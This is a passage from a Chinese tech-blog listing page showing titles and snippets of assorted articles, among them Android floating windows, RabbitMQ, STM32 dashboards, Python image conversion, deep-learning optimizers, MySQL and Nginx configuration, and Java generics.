更改窗口的层次,浮窗开发之窗口层级" target="_blank">android 更改窗口的层次,浮窗开发之窗口层级</a> <span class="text-muted">Ms.Bu</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E6%9B%B4%E6%94%B9%E7%AA%97%E5%8F%A3%E7%9A%84%E5%B1%82%E6%AC%A1/1.htm">更改窗口的层次</a> <div>最近在项目中遇到了这样的需求：需要在特定的其他应用之上悬浮自己的UI交互(拖动、输入等复杂的UI交互)，和九游的浮窗类似，不过我们的比九游的体验更好，我们越过了很多授权的限制。浮窗效果很多人都知道如何去实现一个简单的浮窗，但是却很少有人去深入的研究背后的流程机制，由于项目中浮窗交互比较复杂，遇到了些坑查看了很多资料，故总结浮窗涉及到的知识点：窗口层级关系(浮窗是如何“浮”的)？浮窗有哪些限制，如何</div> </li> <li><a href="/article/1835447859219099648.htm" title="06选课支付模块之基于消息队列发送支付通知消息" target="_blank">06选课支付模块之基于消息队列发送支付通知消息</a> <span class="text-muted">echo 云清</span> <a class="tag" taget="_blank" href="/search/%E5%AD%A6%E6%88%90%E5%9C%A8%E7%BA%BF/1.htm">学成在线</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/rabbitmq/1.htm">rabbitmq</a><a class="tag" taget="_blank" href="/search/%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97/1.htm">消息队列</a><a class="tag" taget="_blank" href="/search/%E6%94%AF%E4%BB%98%E9%80%9A%E7%9F%A5/1.htm">支付通知</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E6%88%90%E5%9C%A8%E7%BA%BF/1.htm">学成在线</a> <div>消息队列发送支付通知消息需求分析订单服务作为通用服务，在订单支付成功后需要将支付结果异步通知给其他对接的微服务，微服务收到支付结果根据订单的类型去更新自己的业务数据技术方案使用消息队列进行异步通知需要保证消息的可靠性即生产端将消息成功通知到服务端：消息发送到交换机-->由交换机发送到队列-->消费者监听队列，收到消息进行处理，参考文章02-使用Docker安装RabbitMQ-CSDN博客生产者确</div> </li> <li><a href="/article/1835446597266272256.htm" title="基于STM32的汽车仪表显示系统：集成CAN、UART与I2C总线设计流程" target="_blank">基于STM32的汽车仪表显示系统：集成CAN、UART与I2C总线设计流程</a> <span class="text-muted">极客小张</span> <a class="tag" taget="_blank" href="/search/stm32/1.htm">stm32</a><a class="tag" taget="_blank" href="/search/%E6%B1%BD%E8%BD%A6/1.htm">汽车</a><a class="tag" taget="_blank" href="/search/%E5%B5%8C%E5%85%A5%E5%BC%8F%E7%A1%AC%E4%BB%B6/1.htm">嵌入式硬件</a><a class="tag" taget="_blank" href="/search/%E7%89%A9%E8%81%94%E7%BD%91/1.htm">物联网</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E7%89%87%E6%9C%BA/1.htm">单片机</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a> <div>一、项目概述项目目标与用途本项目旨在设计和实现一个基于STM32微控制器的汽车仪表显示系统。该系统能够实时显示汽车的速度、转速、油量等关键信息，并通过CAN总线与其他汽车控制单元进行通信。这种仪表显示系统不仅提高了驾驶的安全性和便捷性，还能为汽车提供更智能的用户体验。技术栈关键词微控制器：STM32显示技术：TFTLCD/OLED传感器：速度传感器、温度传感器、油量传感器通信协议：CAN总线、UA</div> </li> <li><a href="/article/1835446055978758144.htm" title="淘陶居老袁藏品" target="_blank">淘陶居老袁藏品</a> <span class="text-muted">东海堂</span> <div>【造像艺术】文化遗产•汉地木造像的区域特征、古代精品造像欣赏。。。。。。（来源：蠢牛/颜旭茂）原创2016-06-12作者：作者：蠢牛（颜旭茂）木造像的地位一直挺尴尬的。国外大型博物馆的木造像基本都是宋元以前的，明代只藏极品。国内也就故宫、国博和上博有能力弄几尊宋木，山西省博貌似只有一尊顶级的明代菩萨能拿得出手，其他木雕大省的博物馆再怎么也应当展示些明清木雕吧，总比同时代那什么坛坛罐罐更有艺术性。</div> </li> <li><a href="/article/1835442755619352576.htm" title="【创客文案社】第三期写手招募" target="_blank">【创客文案社】第三期写手招募</a> <span class="text-muted">筱瑶123</span> <div>创客文案社第三期写手招募开始了。要求：1：注册一个月以上2：本身热爱写作3：有时间参与接单投稿参与方式：可以关注公众号：写作灵感；也可以通过其他转发文章的文友帮忙拉入群；也可以简信我。参与之后的文友，会先进入新人班，进行基本的试稿与培训，先接一些比较简单的单子；在这里可以一边赚钱，一边学习。不知不觉，来三四个月了，也发现了很多很有意思的现象。1：在上写一篇文章，基本都是几毛钱，多的也不过几块钱的收</div> </li> <li><a href="/article/1835441738433523712.htm" title="中国广电永久9元流量套餐！性价比最高流量卡套餐介绍！" target="_blank">中国广电永久9元流量套餐！性价比最高流量卡套餐介绍！</a> <span class="text-muted">优惠攻略官</span> <div>中国广电是中国最大的传媒集团之一，其推出的流量套餐备受消费者青睐。中国广电最实惠的流量套餐不仅价格亲民，而且提供了优质的网络体验。首先，中国广电的流量套餐价格实惠，适合不同消费者的需求。无论是短期的日租卡还是长期有效的月租卡，用户都可以根据自己的实际情况选择适合自己的套餐。而且，流量的价格相对于其他运营商的套餐来说更加合理，给用户提供了更大的选择空间。☞大流量卡套餐「→点这免费申请办理」或者截图扫</div> </li> <li><a href="/article/1835435253867573248.htm" title="Python实现TIFF 文件转换为 PNG 和 JPG 格式" target="_blank">Python实现TIFF 文件转换为 PNG 和 JPG 格式</a> <span class="text-muted">sand&wich</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>在日常的图像处理工作中，可能会遇到需要将TIFF格式的图像转换为其他格式的情况，例如PNG和JPG。下面，本文将介绍如何使用Python和GDAL库实现这一功能。准备工作在开始之前，请确保已经安装了必要的库：GDAL（GeospatialDataAbstractionLibrary）可以使用以下命令安装GDAL：pipinstallgdal代码实现以下是一个将TIFF文件转换为PNG文件的示例代码</div> </li> <li><a href="/article/1835429202871021568.htm" title="Python 课程10-单元测试" target="_blank">Python 课程10-单元测试</a> <span class="text-muted">可愛小吉</span> <a class="tag" taget="_blank" href="/search/Python%E6%95%99%E5%AD%B8/1.htm">Python教學</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95/1.htm">单元测试</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/TDD/1.htm">TDD</a><a class="tag" taget="_blank" href="/search/unittest/1.htm">unittest</a> <div>前言在现代软件开发中，单元测试已成为一种必不可少的实践。通过测试，我们可以确保每个功能模块在开发和修改过程中按预期工作，从而减少软件缺陷，提高代码质量。而测试驱动开发（TDD）则进一步将测试作为开发的核心部分，先编写测试，再编写代码，以测试为指导开发出更稳定、更可靠的代码。Python提供了强大的unittest模块，它是Python标准库的一部分，专门用于编写和执行单元测试。与其他测试框架相比，</div> </li> <li><a href="/article/1835428821877223424.htm" title="计算机毕业设计PHP仓储综合管理系统（源码+程序+VUE+lw+部署）" target="_blank">计算机毕业设计PHP仓储综合管理系统（源码+程序+VUE+lw+部署）</a> <span class="text-muted">java毕设程序源码王哥</span> <a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E8%AF%BE%E7%A8%8B%E8%AE%BE%E8%AE%A1/1.htm">课程设计</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a> <div>该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程。欢迎交流项目运行环境配置：phpStudy+Vscode+Mysql5.7+HBuilderX+Navicat11+Vue+Express。项目技术：原生PHP++Vue等等组成，B/S模式+Vscode管理+前后端分离等等。环境需要1.运行环境：最好是小皮phpstudy最新版，我们在这个版本上开发的。其他版本理论上也可以。2.开发</div> </li> <li><a href="/article/1835414575906910208.htm" title="Python编程 - 初识面向对象" target="_blank">Python编程 - 初识面向对象</a> <span class="text-muted">易辰君</span> <a class="tag" taget="_blank" href="/search/Python%E6%A0%B8%E5%BF%83%E7%BC%96%E7%A8%8B/1.htm">Python核心编程</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>目录前言一、面向对象二、类和对象（一）类简介定义类（二）对象简介创建对象（三）总结三、实例属性和实例方法（一）实例属性创建的基本语法使用示例（二）实例方法定义实例方法的基本语法调用示例方法的示例（三）总结四、类中的self（一）基本概念（二）作用访问实例属性调用其他实例方法在构造函数中初始化对象（三）总结五、__init__方法（一）__init__方法的特点（二）基本语法（三）示例（四）总结前言</div> </li> <li><a href="/article/1835412180422455296.htm" title="[实践应用] 深度学习之模型性能评估指标" target="_blank">[实践应用] 深度学习之模型性能评估指标</a> <span class="text-muted">YuanDaima2048</span> <a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/1.htm">工具使用</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E6%8D%9F%E5%A4%B1%E5%87%BD%E6%95%B0/1.htm">损失函数</a><a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD%E8%AF%84%E4%BC%B0/1.htm">性能评估</a><a class="tag" taget="_blank" href="/search/pytorch/1.htm">pytorch</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a> <div>文章总览：YuanDaiMa2048博客文章总览深度学习之模型性能评估指标分类任务回归任务排序任务聚类任务生成任务其他介绍在机器学习和深度学习领域，评估模型性能是一项至关重要的任务。不同的学习任务需要不同的性能指标来衡量模型的有效性。以下是对一些常见任务及其相应的性能评估指标的详细解释和总结。分类任务分类任务是指模型需要将输入数据分配到预定义的类别或标签中。以下是分类任务中常用的性能指标：准确率(</div> </li> <li><a href="/article/1835412178648264704.htm" title="[实践应用] 深度学习之优化器" target="_blank">[实践应用] 深度学习之优化器</a> <span class="text-muted">YuanDaima2048</span> <a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/1.htm">工具使用</a><a class="tag" taget="_blank" href="/search/pytorch/1.htm">pytorch</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E4%BC%98%E5%8C%96%E5%99%A8/1.htm">优化器</a> <div>文章总览：YuanDaiMa2048博客文章总览深度学习之优化器1.随机梯度下降（SGD）2.动量优化（Momentum）3.自适应梯度（Adagrad）4.自适应矩估计（Adam）5.RMSprop总结其他介绍在深度学习中，优化器用于更新模型的参数，以最小化损失函数。常见的优化函数有很多种，下面是几种主流的优化器及其特点、原理和PyTorch实现：1.随机梯度下降（SGD）原理:随机梯度下降通过</div> </li> <li><a href="/article/1835410162517635072.htm" title="wandb一直上传 解决方案" target="_blank">wandb一直上传 解决方案</a> <span class="text-muted">行业边缘的摸鱼怪</span> <a class="tag" taget="_blank" href="/search/bug%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/1.htm">bug解决方案</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a> <div>问题描述运行带有wandb的代码时，虽然可以实现及时同步非常方便，但当设置错参数或其他原因不得不使用ctrl+C停止运行时，总会出现wandb一直上传个不停的现象，给在同一终端重新运行新的代码造成困难。解决方案运行以下代码把wandb的进程直接杀死。psaux|grepwandb|grep-vgrep|awk'{print$2}'|xargskill-9参考链接[CLI]:Ctrl+Ctokill</div> </li> <li><a href="/article/1835409028524634112.htm" title="Python实现关联规则推荐" target="_blank">Python实现关联规则推荐</a> <span class="text-muted">这孩子谁懂哈</span> <a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/Machine/1.htm">Machine</a><a class="tag" taget="_blank" href="/search/Learning/1.htm">Learning</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%85%B3%E8%81%94%E8%A7%84%E5%88%99/1.htm">关联规则</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a> <div>1.什么关联规则关联规则（AssociationRules）是反映一个事物与其他事物之间的相互依存性和关联性，如果两个或多个事物之间存在一定的关联关系，那么，其中一个事物就能通过其他事物预测到。关联规则是数据挖掘的一个重要技术，用于从大量数据中挖掘出有价值的数据项之间的相关关系。关联规则挖掘的最经典的例子就是沃尔玛的啤酒与尿布的故事，通过对超市购物篮数据进行分析，即顾客放入购物篮中不同商品之间的关</div> </li> <li><a href="/article/55.htm" title="多线程编程之卫生间" target="_blank">多线程编程之卫生间</a> <span class="text-muted">周凡杨</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%B9%B6%E5%8F%91/1.htm">并发</a><a class="tag" taget="_blank" href="/search/%E5%8D%AB%E7%94%9F%E9%97%B4/1.htm">卫生间</a><a class="tag" taget="_blank" href="/search/%E7%BA%BF%E7%A8%8B/1.htm">线程</a><a class="tag" taget="_blank" href="/search/%E5%8E%95%E6%89%80/1.htm">厕所</a> <div>如大家所知，火车上车厢的卫生间很小，每次只能容纳一个人，一个车厢只有一个卫生间，这个卫生间会被多个人同时使用，在实际使用时，当一个人进入卫生间时则会把卫生间锁上，等出来时打开门，下一个人进去把门锁上，如果有一个人在卫生间内部则别人的人发现门是锁的则只能在外面等待。问题分析：首先问题中有两个实体，一个是人，一个是厕所，所以设计程序时就可以设计两个类。人是多数的，厕所只有一个（暂且模拟的是一个车厢）。</div> </li> <li><a href="/article/182.htm" title="How to Install GUI to Centos Minimal" target="_blank">How to Install GUI to Centos Minimal</a> <span class="text-muted">sunjing</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/Install/1.htm">Install</a><a class="tag" taget="_blank" href="/search/Desktop/1.htm">Desktop</a><a class="tag" taget="_blank" href="/search/GUI/1.htm">GUI</a> <div>http://www.namhuy.net/475/how-to-install-gui-to-centos-minimal.html   I have centos 6.3 minimal running as web server. I’m looking to install gui to my server to vnc to my server. You can insta</div> </li> <li><a href="/article/309.htm" title="Shell 函数" target="_blank">Shell 函数</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/shell/1.htm">shell</a><a class="tag" taget="_blank" href="/search/%E5%87%BD%E6%95%B0/1.htm">函数</a> <div>Shell 函数 linux shell 可以用户定义函数，然后在shell脚本中可以随便调用。 shell中函数的定义格式如下： [function] funname [()]{ action; [return int;] } 说明： 1、可以带function fun() 定义，也可以直接fun() 定义,不带任何参数。 2、参数返回</div> </li> <li><a href="/article/436.htm" title="Linux服务器新手操作之一" target="_blank">Linux服务器新手操作之一</a> <span class="text-muted">周凡杨</span> <a class="tag" taget="_blank" href="/search/Linux+%E7%AE%80%E5%8D%95+%E6%93%8D%E4%BD%9C/1.htm">Linux 简单 操作</a> <div>1.whoami      当一个用户登录Linux系统之后，也许他想知道自己是发哪个用户登录的。      此时可以使用whoami命令。      [ecuser@HA5-DZ05 ~]$ whoami       e</div> </li> <li><a href="/article/563.htm" title="浅谈Socket通信（一）" target="_blank">浅谈Socket通信（一）</a> <span class="text-muted">朱辉辉33</span> <a class="tag" taget="_blank" href="/search/socket/1.htm">socket</a> <div>在java中ServerSocket用于服务器端，用来监听端口。通过服务器监听，客户端发送请求，双方建立链接后才能通信。当服务器和客户端建立链接后，两边都会产生一个Socket实例，我们可以通过操作Socket来建立通信。    首先我建立一个ServerSocket对象。当然要导入java.net.ServerSocket包    ServerSock</div> </li> <li><a href="/article/690.htm" title="关于框架的简单认识" target="_blank">关于框架的简单认识</a> <span class="text-muted">西蜀石兰</span> <a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a> <div>入职两个月多，依然是一个不会写代码的小白，每天的工作就是看代码，写wiki。 前端接触CSS、HTML、JS等语言，一直在用的CS模型，自然免不了数据库的链接及使用，真心涉及框架，项目中用到的BootStrap算一个吧，哦，JQuery只能算半个框架吧，我更觉得它是另外一种语言。 后台一直是纯Java代码，涉及的框架是Quzrtz和log4j。 都说学前端的要知道三大框架，目前node.</div> </li> <li><a href="/article/817.htm" title="You have an error in your SQL syntax; check the manual that corresponds to your" target="_blank">You have an error in your SQL syntax; check the manual that corresponds to your</a> <span class="text-muted">林鹤霄</span> <div>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'option,changed_ids  ) values('0ac91f167f754c8cbac00e9e3dc372</div> </li> <li><a href="/article/944.htm" title="MySQL5.6的my.ini配置" target="_blank">MySQL5.6的my.ini配置</a> <span class="text-muted">aigo</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>注意：以下配置的服务器硬件是：8核16G内存    [client]   port=3306   [mysql]   default-character-set=utf8     [mysqld]   port=3306   basedir=D:/mysql-5.6.21-win</div> </li> <li><a href="/article/1071.htm" title="mysql 全文模糊查找 便捷解决方案" target="_blank">mysql 全文模糊查找 便捷解决方案</a> <span class="text-muted">alxw4616</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>mysql 全文模糊查找 便捷解决方案 2013/6/14 by 半仙 alxw4616@Msn.com 目的: 项目需求实现模糊查找. 原则: 查询不能超过 1秒. 问题: 目标表中有超过1千万条记录. 使用like '%str%' 进行模糊查询无法达到性能需求. 解决方案: 使用mysql全文索引. 1.全文索引 : MySQL支持全文索引和搜索功能。MySQL中的全文索</div> </li> <li><a href="/article/1198.htm" title="自定义数据结构 链表(单项 ,双向,环形)" target="_blank">自定义数据结构 链表(单项 ,双向,环形)</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/%E5%8D%95%E9%A1%B9%E9%93%BE%E8%A1%A8/1.htm">单项链表</a><a class="tag" taget="_blank" href="/search/%E5%8F%8C%E5%90%91%E9%93%BE%E8%A1%A8/1.htm">双向链表</a> <div>     链表与动态数组的实现方式差不多,    数组适合快速删除某个元素    链表则可以快速的保存数组并且可以是不连续的       单项链表;数据从第一个指向最后一个   实现代码:        //定义动态链表 clas</div> </li> <li><a href="/article/1325.htm" title="threadLocal实例" target="_blank">threadLocal实例</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/thread/1.htm">thread</a><a class="tag" taget="_blank" href="/search/java%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">java多线程</a><a class="tag" taget="_blank" href="/search/threadLocal/1.htm">threadLocal</a> <div>实例1： package com.bijian.thread; public class MyThread extends Thread { private static ThreadLocal tl = new ThreadLocal() { protected synchronized Object initialValue() { return new Inte</div> </li> <li><a href="/article/1452.htm" title="activemq安全设置—设置admin的用户名和密码" target="_blank">activemq安全设置—设置admin的用户名和密码</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/activemq/1.htm">activemq</a> <div>        ActiveMQ使用的是jetty服务器, 打开conf/jetty.xml文件，找到 <bean id="adminSecurityConstraint" class="org.eclipse.jetty.util.security.Constraint"> <p</div> </li> <li><a href="/article/1579.htm" title="【Java范型一】Java范型详解之范型集合和自定义范型类" target="_blank">【Java范型一】Java范型详解之范型集合和自定义范型类</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>本文详细介绍Java的范型，写一篇关于范型的博客原因有两个，前几天要写个范型方法(返回值根据传入的类型而定)，竟然想了半天，最后还是从网上找了个范型方法的写法；再者，前一段时间在看Gson, Gson这个JSON包的精华就在于对范型的优雅简单的处理，看它的源代码就比较迷糊，只其然不知其所以然。所以，还是花点时间系统的整理总结下范型吧。   范型内容 范型集合类 范型类 </div> </li> <li><a href="/article/1706.htm" title="【HBase十二】HFile存储的是一个列族的数据" target="_blank">【HBase十二】HFile存储的是一个列族的数据</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/hbase/1.htm">hbase</a> <div>在HBase中，每个HFile存储的是一个表中一个列族的数据，也就是说，当一个表中有多个列簇时，针对每个列簇插入数据，最后产生的数据是多个HFile，每个对应一个列族，通过如下操作验证   1. 建立一个有两个列族的表   create 'members','colfam1','colfam2'   2. 在members表中的colfam1中插入50*5</div> </li> <li><a href="/article/1833.htm" title="Nginx 官方一个配置实例" target="_blank">Nginx 官方一个配置实例</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/nginx+%E9%85%8D%E7%BD%AE%E5%AE%9E%E4%BE%8B/1.htm">nginx 配置实例</a> <div>user www www; worker_processes 5; error_log logs/error.log; pid logs/nginx.pid; worker_rlimit_nofile 8192; events { worker_connections 4096;} http { include conf/mim</div> </li> <li><a href="/article/1960.htm" title="java-15.输入一颗二元查找树，将该树转换为它的镜像， 即在转换后的二元查找树中，左子树的结点都大于右子树的结点。 用递归和循环" target="_blank">java-15.输入一颗二元查找树，将该树转换为它的镜像， 即在转换后的二元查找树中，左子树的结点都大于右子树的结点。 用递归和循环</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div> //use recursion public static void mirrorHelp1(Node node){ if(node==null)return; swapChild(node); mirrorHelp1(node.getLeft()); mirrorHelp1(node.getRight()); } //use no recursion bu</div> </li> <li><a href="/article/2087.htm" title="返回null还是empty" target="_blank">返回null还是empty</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/apache/1.htm">apache</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a> <div>第一个问题，函数是应当返回null还是长度为0的数组（或集合）？ 第二个问题，函数输入参数不当时，是异常还是返回null？ 先看第一个问题 有两个约定我觉得应当遵守： 1.返回零长度的数组或集合而不是null（详见《Effective Java》） 理由就是，如果返回empty，就可以少了很多not-null判断： List<Person> list</div> </li> <li><a href="/article/2214.htm" title="[科技与项目]工作流厂商的战略机遇期" target="_blank">[科技与项目]工作流厂商的战略机遇期</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C%E6%B5%81/1.htm">工作流</a> <div>       在新的战略平衡形成之前，这里有一个短暂的战略机遇期，只有大概最短6年，最长14年的时间，这段时间就好像我们森林里面的小动物，在秋天中，必须抓紧一切时间存储坚果一样，否则无法熬过漫长的冬季。。。。         在微软，甲骨文，谷歌，IBM,SONY</div> </li> <li><a href="/article/2341.htm" title="过度设计-举例" target="_blank">过度设计-举例</a> <span class="text-muted">cuityang</span> <a class="tag" taget="_blank" href="/search/%E8%BF%87%E5%BA%A6%E8%AE%BE%E8%AE%A1/1.htm">过度设计</a> <div>过度设计，需要更多设计时间和测试成本，如无必要，还是尽量简洁一些好。 未来的事情，比如 访问量，比如数据库的容量，比如是否需要改成分布式  都是无法预料的 再举一个例子，对闰年的判断逻辑： 　　1、 if($Year%4==0) return True; else return Fasle; 　　2、if (   ($Year%4==0  &am</div> </li> <li><a href="/article/2468.htm" title="java进阶，《Java性能优化权威指南》试读" target="_blank">java进阶，《Java性能优化权威指南》试读</a> <span class="text-muted">darkblue086</span> <a class="tag" taget="_blank" href="/search/java%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96/1.htm">java性能优化</a> <div>记得当年随意读了微软出版社的.NET 2.0应用程序调试，才发现调试器如此强大，应用程序开发调试其实真的简单了很多，不仅仅是因为里面介绍了很多调试器工具的使用，更是因为里面寻找问题并重现问题的思想让我震撼，时隔多年，Java已经如日中天，成为许多大型企业应用的首选，而今天，这本《Java性能优化权威指南》让我再次找到了这种感觉，从不经意的开发过程让我刮目相看，原来性能调优不是简单地看看热点在哪里，</div> </li> <li><a href="/article/2595.htm" title="网络学习笔记初识OSI七层模型与TCP协议" target="_blank">网络学习笔记初识OSI七层模型与TCP协议</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1.htm">学习笔记</a> <div>  协议：在计算机网络中通信各方面所达成的、共同遵守和执行的一系列约定 　　计算机网络的体系结构：计算机网络的层次结构和各层协议的集合。 　　两类服务： 　　面向连接的服务通信双方在通信之前先建立某种状态，并在通信过程中维持这种状态的变化，同时为服务对象预先分配一定的资源。这种服务叫做面向连接的服务。 　　面向无连接的服务通信双方在通信前后不建立和维持状态，不为服务对象</div> </li> <li><a href="/article/2722.htm" title="mac中用命令行运行mysql" target="_blank">mac中用命令行运行mysql</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/mac/1.htm">mac</a> <div>参考这篇博客：http://www.cnblogs.com/macro-cheng/archive/2011/10/25/mysql-001.html  感觉workbench不好用（有点先入为主了）。 1，安装mysql 在mysql的官方网站下载 mysql 5.5.23 http://www.mysql.com/downloads/mysql/，根据我的机器的配置情况选择了64</div> </li> <li><a href="/article/2849.htm" title="MongDB查询（1）——基本查询[五]" target="_blank">MongDB查询（1）——基本查询[五]</a> <span class="text-muted">eksliang</span> <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/mongodb+%E6%9F%A5%E8%AF%A2/1.htm">mongodb 查询</a><a class="tag" taget="_blank" href="/search/mongodb+find/1.htm">mongodb find</a> <div>MongDB查询 转载请出自出处：http://eksliang.iteye.com/blog/2174452 一、find简介 MongoDB中使用find来进行查询。 API:如下 function ( query , fields , limit , skip, batchSize, options ){.....}  参数含义： query:查询参数 fie</div> </li> <li><a href="/article/2976.htm" title="base64，加密解密 经融加密，对接" target="_blank">base64，加密解密 经融加密，对接</a> <span class="text-muted">y806839048</span> <a class="tag" taget="_blank" href="/search/%E7%BB%8F%E8%9E%8D%E5%8A%A0%E5%AF%86/1.htm">经融加密</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E6%8E%A5/1.htm">对接</a> <div>String data0 = new String(Base64.encode(bo.getPaymentResult().getBytes(("GBK")))); String data1 = new String(Base64.decode(data0.toCharArray()),"GBK"); // 注意编码格式，注意用于加密，解密的要是同</div> </li> <li><a href="/article/3103.htm" title="JavaWeb之JSP概述" target="_blank">JavaWeb之JSP概述</a> <span class="text-muted">ihuning</span> <a class="tag" taget="_blank" href="/search/javaweb/1.htm">javaweb</a> <div>  什么是JSP？为什么使用JSP？ JSP表示Java Server Page，即嵌有Java代码的HTML页面。使用JSP是因为在HTML中嵌入Java代码比在Java代码中拼接字符串更容易、更方便和更高效。   JSP起源    在很多动态网页中，绝大部分内容都是固定不变的，只有局部内容需要动态产生和改变。  如果使用Servl</div> </li> <li><a href="/article/3230.htm" title="apple watch 指南" target="_blank">apple watch 指南</a> <span class="text-muted">啸笑天</span> <a class="tag" taget="_blank" href="/search/apple/1.htm">apple</a> <div>1. 文档 WatchKit Programming Guide（中译在线版 By @CocoaChina） 译文 译者 原文 概览 - 开始为 Apple Watch 进行开发 @星夜暮晨 Overview - Developing for Apple Watch 概览 - 配置 Xcode 项目 - Overview - Configuring Yo</div> </li> <li><a href="/article/3357.htm" title="java经典的基础题目" target="_blank">java经典的基础题目</a> <span class="text-muted">macroli</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a> <div>1.列举出 10个JAVA语言的优势 a:免费，开源，跨平台(平台独立性)，简单易用，功能完善，面向对象，健壮性，多线程，结构中立，企业应用的成熟平台, 无线应用 2.列举出JAVA中10个面向对象编程的术语 a:包，类，接口，对象，属性，方法，构造器，继承，封装，多态，抽象，范型 3.列举出JAVA中6个比较常用的包 Java.lang;java.util;java.io;java.sql;ja</div> </li> <li><a href="/article/3484.htm" title="你所不知道神奇的js replace正则表达式" target="_blank">你所不知道神奇的js replace正则表达式</a> <span class="text-muted">qiaolevip</span> <a class="tag" taget="_blank" href="/search/%E6%AF%8F%E5%A4%A9%E8%BF%9B%E6%AD%A5%E4%B8%80%E7%82%B9%E7%82%B9/1.htm">每天进步一点点</a><a class="tag" taget="_blank" 